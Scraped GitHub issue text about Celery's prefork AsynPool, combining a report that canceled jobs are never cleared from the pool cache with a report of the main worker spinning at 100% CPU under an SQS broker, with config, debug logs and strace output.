Pool._cache</span> </td> </tr> <tr class="border-0"> <td id="L1020" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1020"></td> <td id="LC1020" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">job</span>.<span class="pl-en">discard</span>() </td> </tr> <tr class="border-0"> <td id="L1021" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1021"></td> <td id="LC1021" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">self</span>.<span class="pl-s1">_active_writers</span>.<span class="pl-en">discard</span>(<span class="pl-s1">gen</span>) </td> </tr> <tr class="border-0"> <td id="L1022" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1022"></td> <td id="LC1022" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">else</span>: </td> </tr> <tr class="border-0"> <td id="L1023" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1023"></td> <td id="LC1023" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">try</span>: </td> </tr> <tr class="border-0"> <td id="L1024" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1024"></td> <td id="LC1024" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">job</span> <span class="pl-c1">=</span> <span class="pl-s1">owned_by</span>[<span class="pl-s1">gen</span>] </td> </tr> <tr class="border-0"> <td id="L1025" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1025"></td> <td id="LC1025" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">except</span> <span class="pl-v">KeyError</span>: </td> </tr> <tr class="border-0"> <td id="L1026" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1026"></td> <td id="LC1026" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">pass</span> </td> </tr> <tr class="border-0"> <td id="L1027" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1027"></td> <td id="LC1027" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">else</span>: </td> </tr> <tr class="border-0"> <td id="L1028" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1028"></td> <td id="LC1028" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">job_proc</span> <span class="pl-c1">=</span> <span class="pl-s1">job</span>.<span class="pl-s1">_write_to</span> </td> </tr> <tr class="border-0"> <td id="L1029" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1029"></td> <td id="LC1029" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">if</span> <span class="pl-s1">job_proc</span>.<span class="pl-en">_is_alive</span>(): </td> </tr> <tr class="border-0"> <td id="L1030" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1030"></td> <td id="LC1030" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">self</span>.<span class="pl-en">_flush_writer</span>(<span class="pl-s1">job_proc</span>, <span class="pl-s1">gen</span>) </td> </tr> <tr class="border-0"> <td id="L1031" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1031"></td> <td id="LC1031" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># workers may have exited in the meantime.</span> </td> </tr> <tr class="border-0"> <td id="L1032" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1032"></td> <td id="LC1032" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">self</span>.<span class="pl-en">maintain_pool</span>() </td> </tr> <tr class="border-0"> <td id="L1033" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1033"></td> <td id="LC1033" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-en">sleep</span>(<span class="pl-en">next</span>(<span class="pl-s1">intervals</span>)) <span class="pl-c"># don't busyloop</span> </td> </tr> <tr class="border-0"> <td id="L1034" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1034"></td> <td id="LC1034" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">finally</span>: </td> </tr> <tr class="border-0"> <td id="L1035" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1035"></td> <td id="LC1035" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">self</span>.<span class="pl-s1">outbound_buffer</span>.<span class="pl-en">clear</span>() </td> </tr> <tr class="border-0"> <td id="L1036" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1036"></td> <td id="LC1036" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">self</span>.<span class="pl-s1">_active_writers</span>.<span class="pl-en">clear</span>() </td> </tr> <tr class="border-0"> <td id="L1037" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1037"></td> <td id="LC1037" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">self</span>.<span class="pl-s1">_active_writes</span>.<span class="pl-en">clear</span>() </td> </tr> <tr class="border-0"> <td id="L1038" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1038"></td> <td id="LC1038" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">self</span>.<span class="pl-s1">_busy_workers</span>.<span class="pl-en">clear</span>() </td> </tr> </tbody></table> </div> </div> <p></p> <details> <p dir="auto"> </p><div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="# Sending any task would do some_task.delay()"><pre class="notranslate"><span class="pl-c"># Sending any task would do</span> <span class="pl-s1">some_task</span>.<span class="pl-en">delay</span>()</pre></div> <p dir="auto"></p> </details> <h1 dir="auto">Expected Behavior</h1> <p dir="auto">The pool's job cache should be completely empty after we flush it.</p> <h1 dir="auto">Actual Behavior</h1> <p dir="auto">Canceled jobs remain in the cache and are never cleaned up since the pool doesn't use the worker's synack capability (not sure what that is, actually).<br> This is a problem since we keep the job's payload (which may be arbitrarily large) forever.<br> Given enough uptime, whenever there are enough connection drops, we accumulate new jobs that are never garbage collected.</p> <p dir="auto">This has been the case from the moment AsynPool has been written, so it seems.</p>
<h2 dir="auto">Environment &amp; Settings</h2> <p dir="auto"><strong>Celery version</strong>:</p> <ul dir="auto"> <li>celery==4.2.1 but also tried the latest master, where the problem also occurs:</li> <li>-e git+<a href="https://github.com/celery/celery.git@c1d0bfea9ad98477cbc1def99157fe5109555500#egg=celery">https://github.com/celery/celery.git@c1d0bfea9ad98477cbc1def99157fe5109555500#egg=celery</a></li> <li>django-celery-beat==1.4.0</li> <li>kombu==4.2.2.post1</li> </ul> <p dir="auto"><strong>Report</strong>:</p> <details> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="software -&gt; celery:4.2.0 (windowlicker) kombu:4.2.2-post1 py:3.6.6 billiard:3.5.0.5 sqs:N/A platform -&gt; system:Linux arch:64bit, ELF kernel version:3.13.0-139-generic imp:CPython loader -&gt; celery.loaders.app.AppLoader settings -&gt; transport:sqs results:disabled broker_url: 'sqs://localhost//' include: [...] worker_hijack_root_logger: False task_serializer: 'json' result_expires: 3600 accept_content: ['json'] result_serializer: 'json' timezone: 'Europe/Berlin' enable_utc: True broker_transport_options: { 'polling_interval': 1, 'region': 'eu-west-1', 'visibility_timeout': 10860} task_ignore_result: True task_acks_late: True worker_prefetch_multiplier: 1 worker_max_tasks_per_child: 10 worker_pool: 'celery.concurrency.prefork:TaskPool' task_time_limit: 10800 worker_enable_remote_control: False worker_send_task_events: False task_default_queue: 'celery'"><pre class="notranslate"><code class="notranslate">software -&gt; celery:4.2.0 (windowlicker) kombu:4.2.2-post1 py:3.6.6 billiard:3.5.0.5 sqs:N/A platform -&gt; system:Linux arch:64bit, ELF kernel version:3.13.0-139-generic imp:CPython loader -&gt; celery.loaders.app.AppLoader settings -&gt; transport:sqs results:disabled broker_url: 'sqs://localhost//' include: [...] worker_hijack_root_logger: False task_serializer: 'json' result_expires: 3600 accept_content: ['json'] result_serializer: 'json' timezone: 'Europe/Berlin' enable_utc: True broker_transport_options: { 'polling_interval': 1, 'region': 'eu-west-1', 'visibility_timeout': 10860} task_ignore_result: True task_acks_late: True worker_prefetch_multiplier: 1 worker_max_tasks_per_child: 10 worker_pool: 'celery.concurrency.prefork:TaskPool' task_time_limit: 10800 worker_enable_remote_control: False worker_send_task_events: False task_default_queue: 'celery' </code></pre></div> </details> <h1 dir="auto">Steps to Reproduce</h1> <h2 dir="auto">Required Dependencies</h2> <ul dir="auto"> <li><strong>Minimal Python Version</strong>: 3.6</li> <li><strong>Minimal Broker Version</strong>: N/A or Unknown</li> <li><strong>Minimal Result Backend Version</strong>: N/A or Unknown</li> <li><strong>Minimal OS and/or Kernel Version</strong>: : N/A or Unknown</li> </ul> <h2 dir="auto">Minimally Reproducible Test Case</h2> <ul dir="auto"> <li>edit <code class="notranslate">kombu/asynchronous/hub.py</code> to uncomment the print statements in <code class="notranslate">create_loop</code></li> <li>fire ~500 very short tasks to run (so the main worker process has to exit and start new workers because of <code class="notranslate">worker_max_tasks_per_child: 10</code>)</li> </ul> <h1 dir="auto">Expected Behavior</h1> <p dir="auto">The main worker process should settle to ~1% CPU usage, after the 500 tasks were run. The print statements should be run not so often because of the <code class="notranslate">sleep</code> call at the end of the <code class="notranslate">create_loop</code> method.</p> <h1 dir="auto">Actual Behavior</h1> <p dir="auto">The main worker hammers the CPU at constant 100% and the console output (due to the uncommented print statement) is flooded with <strong>lots</strong> (almost every microsecond) of these (never stopping):</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="WARNING:celery.redirected: [[[HUB]]]: (31)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-32, started daemon)&gt;)-&gt;R!, (20)on_result_readable(20)-&gt;R!, (34)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-33, started daemon)&gt;)-&gt;R!, (16)on_result_readable(16)-&gt;R!, (42)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-34, started daemon)&gt;)-&gt;R!, (24)on_result_readable(24)-&gt;R!, (53)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-35, started daemon)&gt;)-&gt;R!, (28)on_result_readable(28)-&gt;R!, (38)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-36, started daemon)&gt;)-&gt;R!, (12)on_result_readable(12)-&gt;R!, (45)on_readable(45)-&gt;R!, (45)on_writable(45)-&gt;W (2019-01-22 17:09:04,502; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [EVENTS]: (GONE)(48)-&gt;R, (GONE)(46)-&gt;R, (GONE)(44)-&gt;R! (2019-01-22 17:09:04,503; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [[[HUB]]]: (31)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-32, started daemon)&gt;)-&gt;R!, (20)on_result_readable(20)-&gt;R!, (34)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-33, started daemon)&gt;)-&gt;R!, (16)on_result_readable(16)-&gt;R!, (42)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-34, started daemon)&gt;)-&gt;R!, (24)on_result_readable(24)-&gt;R!, (53)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-35, started daemon)&gt;)-&gt;R!, (28)on_result_readable(28)-&gt;R!, (38)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-36, started daemon)&gt;)-&gt;R!, (12)on_result_readable(12)-&gt;R!, (45)on_readable(45)-&gt;R!, (45)on_writable(45)-&gt;W (2019-01-22 17:09:04,505; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [EVENTS]: (GONE)(48)-&gt;R, (GONE)(46)-&gt;R, (GONE)(44)-&gt;R! (2019-01-22 17:09:04,506; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [[[HUB]]]: (31)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-32, started daemon)&gt;)-&gt;R!, (20)on_result_readable(20)-&gt;R!, (34)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-33, started daemon)&gt;)-&gt;R!, (16)on_result_readable(16)-&gt;R!, (42)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-34, started daemon)&gt;)-&gt;R!, (24)on_result_readable(24)-&gt;R!, (53)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-35, started daemon)&gt;)-&gt;R!, (28)on_result_readable(28)-&gt;R!, (38)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-36, started daemon)&gt;)-&gt;R!, (12)on_result_readable(12)-&gt;R!, (45)on_readable(45)-&gt;R!, (45)on_writable(45)-&gt;W (2019-01-22 17:09:04,507; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [EVENTS]: (GONE)(48)-&gt;R, (GONE)(46)-&gt;R, (GONE)(44)-&gt;R! (2019-01-22 17:09:04,508; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [[[HUB]]]: (31)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-32, started daemon)&gt;)-&gt;R!, (20)on_result_readable(20)-&gt;R!, (34)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-33, started daemon)&gt;)-&gt;R!, (16)on_result_readable(16)-&gt;R!, (42)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-34, started daemon)&gt;)-&gt;R!, (24)on_result_readable(24)-&gt;R!, (53)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-35, started daemon)&gt;)-&gt;R!, (28)on_result_readable(28)-&gt;R!, (38)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-36, started daemon)&gt;)-&gt;R!, (12)on_result_readable(12)-&gt;R!, (45)on_readable(45)-&gt;R!, (45)on_writable(45)-&gt;W (2019-01-22 17:09:04,509; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [EVENTS]: (GONE)(48)-&gt;R, (GONE)(46)-&gt;R, (GONE)(44)-&gt;R! (2019-01-22 17:09:04,510; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [[[HUB]]]: (31)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-32, started daemon)&gt;)-&gt;R!, (20)on_result_readable(20)-&gt;R!, (34)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-33, started daemon)&gt;)-&gt;R!, (16)on_result_readable(16)-&gt;R!, (42)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-34, started daemon)&gt;)-&gt;R!, (24)on_result_readable(24)-&gt;R!, (53)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-35, started daemon)&gt;)-&gt;R!, (28)on_result_readable(28)-&gt;R!, (38)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-36, started daemon)&gt;)-&gt;R!, (12)on_result_readable(12)-&gt;R!, (45)on_readable(45)-&gt;R!, (45)on_writable(45)-&gt;W (2019-01-22 17:09:04,511; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [EVENTS]: (GONE)(48)-&gt;R, (GONE)(46)-&gt;R, (GONE)(44)-&gt;R! (2019-01-22 17:09:04,513; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235)"><pre class="notranslate"><code class="notranslate">WARNING:celery.redirected: [[[HUB]]]: (31)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-32, started daemon)&gt;)-&gt;R!, (20)on_result_readable(20)-&gt;R!, (34)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-33, started daemon)&gt;)-&gt;R!, (16)on_result_readable(16)-&gt;R!, (42)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-34, started daemon)&gt;)-&gt;R!, (24)on_result_readable(24)-&gt;R!, (53)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-35, started daemon)&gt;)-&gt;R!, (28)on_result_readable(28)-&gt;R!, (38)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-36, started daemon)&gt;)-&gt;R!, (12)on_result_readable(12)-&gt;R!, (45)on_readable(45)-&gt;R!, (45)on_writable(45)-&gt;W (2019-01-22 17:09:04,502; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [EVENTS]: (GONE)(48)-&gt;R, (GONE)(46)-&gt;R, (GONE)(44)-&gt;R! (2019-01-22 17:09:04,503; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [[[HUB]]]: (31)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-32, started daemon)&gt;)-&gt;R!, (20)on_result_readable(20)-&gt;R!, (34)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-33, started daemon)&gt;)-&gt;R!, (16)on_result_readable(16)-&gt;R!, (42)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-34, started daemon)&gt;)-&gt;R!, (24)on_result_readable(24)-&gt;R!, (53)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-35, started daemon)&gt;)-&gt;R!, (28)on_result_readable(28)-&gt;R!, (38)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-36, started daemon)&gt;)-&gt;R!, (12)on_result_readable(12)-&gt;R!, (45)on_readable(45)-&gt;R!, (45)on_writable(45)-&gt;W (2019-01-22 17:09:04,505; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [EVENTS]: (GONE)(48)-&gt;R, (GONE)(46)-&gt;R, (GONE)(44)-&gt;R! (2019-01-22 17:09:04,506; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [[[HUB]]]: (31)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-32, started daemon)&gt;)-&gt;R!, (20)on_result_readable(20)-&gt;R!, (34)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-33, started daemon)&gt;)-&gt;R!, (16)on_result_readable(16)-&gt;R!, (42)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-34, started daemon)&gt;)-&gt;R!, (24)on_result_readable(24)-&gt;R!, (53)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-35, started daemon)&gt;)-&gt;R!, (28)on_result_readable(28)-&gt;R!, (38)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-36, started daemon)&gt;)-&gt;R!, (12)on_result_readable(12)-&gt;R!, (45)on_readable(45)-&gt;R!, (45)on_writable(45)-&gt;W (2019-01-22 17:09:04,507; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [EVENTS]: (GONE)(48)-&gt;R, (GONE)(46)-&gt;R, (GONE)(44)-&gt;R! (2019-01-22 17:09:04,508; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [[[HUB]]]: (31)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-32, started daemon)&gt;)-&gt;R!, (20)on_result_readable(20)-&gt;R!, (34)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-33, started daemon)&gt;)-&gt;R!, (16)on_result_readable(16)-&gt;R!, (42)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-34, started daemon)&gt;)-&gt;R!, (24)on_result_readable(24)-&gt;R!, (53)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-35, started daemon)&gt;)-&gt;R!, (28)on_result_readable(28)-&gt;R!, (38)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-36, started daemon)&gt;)-&gt;R!, (12)on_result_readable(12)-&gt;R!, (45)on_readable(45)-&gt;R!, (45)on_writable(45)-&gt;W (2019-01-22 17:09:04,509; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [EVENTS]: (GONE)(48)-&gt;R, (GONE)(46)-&gt;R, (GONE)(44)-&gt;R! (2019-01-22 17:09:04,510; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [[[HUB]]]: (31)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-32, started daemon)&gt;)-&gt;R!, (20)on_result_readable(20)-&gt;R!, (34)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-33, started daemon)&gt;)-&gt;R!, (16)on_result_readable(16)-&gt;R!, (42)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-34, started daemon)&gt;)-&gt;R!, (24)on_result_readable(24)-&gt;R!, (53)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-35, started daemon)&gt;)-&gt;R!, (28)on_result_readable(28)-&gt;R!, (38)_event_process_exit(&lt;Hub@0x7fa987a1dc18: R:11 W:1&gt;, &lt;ForkProcess(ForkPoolWorker-36, started daemon)&gt;)-&gt;R!, (12)on_result_readable(12)-&gt;R!, (45)on_readable(45)-&gt;R!, (45)on_writable(45)-&gt;W (2019-01-22 17:09:04,511; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) WARNING:celery.redirected: [EVENTS]: (GONE)(48)-&gt;R, (GONE)(46)-&gt;R, (GONE)(44)-&gt;R! (2019-01-22 17:09:04,513; /home/ubuntu/.virtualenvs/unchained-worker3.6/src/celery/celery/utils/log.py:235) </code></pre></div> <p dir="auto">also, the <code class="notranslate">strace</code> is full of these:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="epoll_ctl(9, EPOLL_CTL_DEL, 43, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRNORM|EPOLLERR|0x36f80000, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory) epoll_ctl(9, EPOLL_CTL_DEL, 46, {EPOLLERR|0x36ca1800, {u32=32711, u64=4295000007}}) = -1 EBADF (Bad file descriptor) epoll_ctl(9, EPOLL_CTL_DEL, 44, {EPOLLERR|0x36ca1800, {u32=32711, u64=4295000007}}) = -1 EBADF (Bad file descriptor) epoll_ctl(9, EPOLL_CTL_DEL, 19, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRBAND|EPOLLERR|EPOLLRDHUP|EPOLLONESHOT|0x1a0fd820, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory) epoll_ctl(9, EPOLL_CTL_DEL, 23, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRBAND|EPOLLERR|EPOLLRDHUP|EPOLLONESHOT|0x1a0fd820, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory) epoll_ctl(9, EPOLL_CTL_DEL, 27, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRBAND|EPOLLERR|EPOLLRDHUP|EPOLLONESHOT|0x1a0fd820, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory) epoll_ctl(9, EPOLL_CTL_DEL, 11, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRBAND|EPOLLERR|EPOLLRDHUP|EPOLLONESHOT|0x1a0fd820, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory) epoll_ctl(9, EPOLL_CTL_DEL, 15, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRBAND|EPOLLERR|EPOLLRDHUP|EPOLLONESHOT|0x1a0fd820, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory)"><pre class="notranslate"><code class="notranslate">epoll_ctl(9, EPOLL_CTL_DEL, 43, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRNORM|EPOLLERR|0x36f80000, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory) epoll_ctl(9, EPOLL_CTL_DEL, 46, {EPOLLERR|0x36ca1800, {u32=32711, u64=4295000007}}) = -1 EBADF (Bad file descriptor) epoll_ctl(9, EPOLL_CTL_DEL, 44, {EPOLLERR|0x36ca1800, {u32=32711, u64=4295000007}}) = -1 EBADF (Bad file descriptor) epoll_ctl(9, EPOLL_CTL_DEL, 19, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRBAND|EPOLLERR|EPOLLRDHUP|EPOLLONESHOT|0x1a0fd820, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory) epoll_ctl(9, EPOLL_CTL_DEL, 23, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRBAND|EPOLLERR|EPOLLRDHUP|EPOLLONESHOT|0x1a0fd820, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory) epoll_ctl(9, EPOLL_CTL_DEL, 27, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRBAND|EPOLLERR|EPOLLRDHUP|EPOLLONESHOT|0x1a0fd820, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory) epoll_ctl(9, EPOLL_CTL_DEL, 11, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRBAND|EPOLLERR|EPOLLRDHUP|EPOLLONESHOT|0x1a0fd820, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory) epoll_ctl(9, EPOLL_CTL_DEL, 15, {EPOLLRDNORM|EPOLLRDBAND|EPOLLWRBAND|EPOLLERR|EPOLLRDHUP|EPOLLONESHOT|0x1a0fd820, {u32=32711, u64=4295000007}}) = -1 ENOENT (No such file or directory) </code></pre></div> <p dir="auto">There have been similar issues around, but they most of the time were related to <code class="notranslate">redis</code>. Also what's different to former issues, is that the worker still distributes / consumes new tasks. So basically, everything works, but the CPU is not idling, but hammering the loop instead. I can consistently reproduce this with my SQS worker (concurrency 5 btw), so please let me know, what else information i can gather to hunt down this problem. THX!</p>
0
